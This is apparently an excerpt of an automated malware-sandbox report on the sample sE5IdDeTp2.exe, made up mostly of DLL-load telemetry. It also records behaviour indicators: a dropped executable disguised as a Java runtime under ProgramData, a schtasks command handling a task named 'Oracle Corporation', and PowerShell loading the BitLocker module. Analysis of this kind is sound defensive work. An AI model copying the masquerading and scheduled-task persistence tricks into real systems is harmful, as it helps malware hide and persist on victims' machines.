Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: sE5IdDeTp2.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: sE5IdDeTp2.exeStatic file information: File size 1245320 > 1048576
Source: sE5IdDeTp2.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: sE5IdDeTp2.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: sE5IdDeTp2.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: sE5IdDeTp2.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: sE5IdDeTp2.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: sE5IdDeTp2.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: sE5IdDeTp2.exeStatic PE information: section name: .00cfg
Source: dialer_java.exe.0.drStatic PE information: section name: .00cfg
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796F1394 push qword ptr [00007FF779723004h]; ret 0_2_00007FF7796F1403
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DC1394 push qword ptr [00007FF695DF3004h]; ret 15_2_00007FF695DC1403
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140001394 push qword ptr [00000001400B3004h]; ret 27_2_0000000140001403
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400035D2 push rax; ret 27_2_00000001400035D4
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400746B0 push rdi; retf 27_2_00000001400746B6
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400746CB push rdi; ret 27_2_00000001400746CC
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F711394 push qword ptr [00007FF79F743004h]; ret 34_2_00007FF79F711403
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21D1394 push qword ptr [00007FF7F2203004h]; ret 48_2_00007FF7F21D1403
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC21394 push qword ptr [00007FF7CFC53004h]; ret 63_2_00007FF7CFC21403
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA01394 push qword ptr [00007FF79AA33004h]; ret 77_2_00007FF79AA01403
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF779851394 push qword ptr [00007FF779883004h]; ret 91_2_00007FF779851403
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeFile created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeJump to dropped file
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeFile created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeJump to dropped file

Boot Survival

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /delete /f /tn "Oracle Corporation"

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
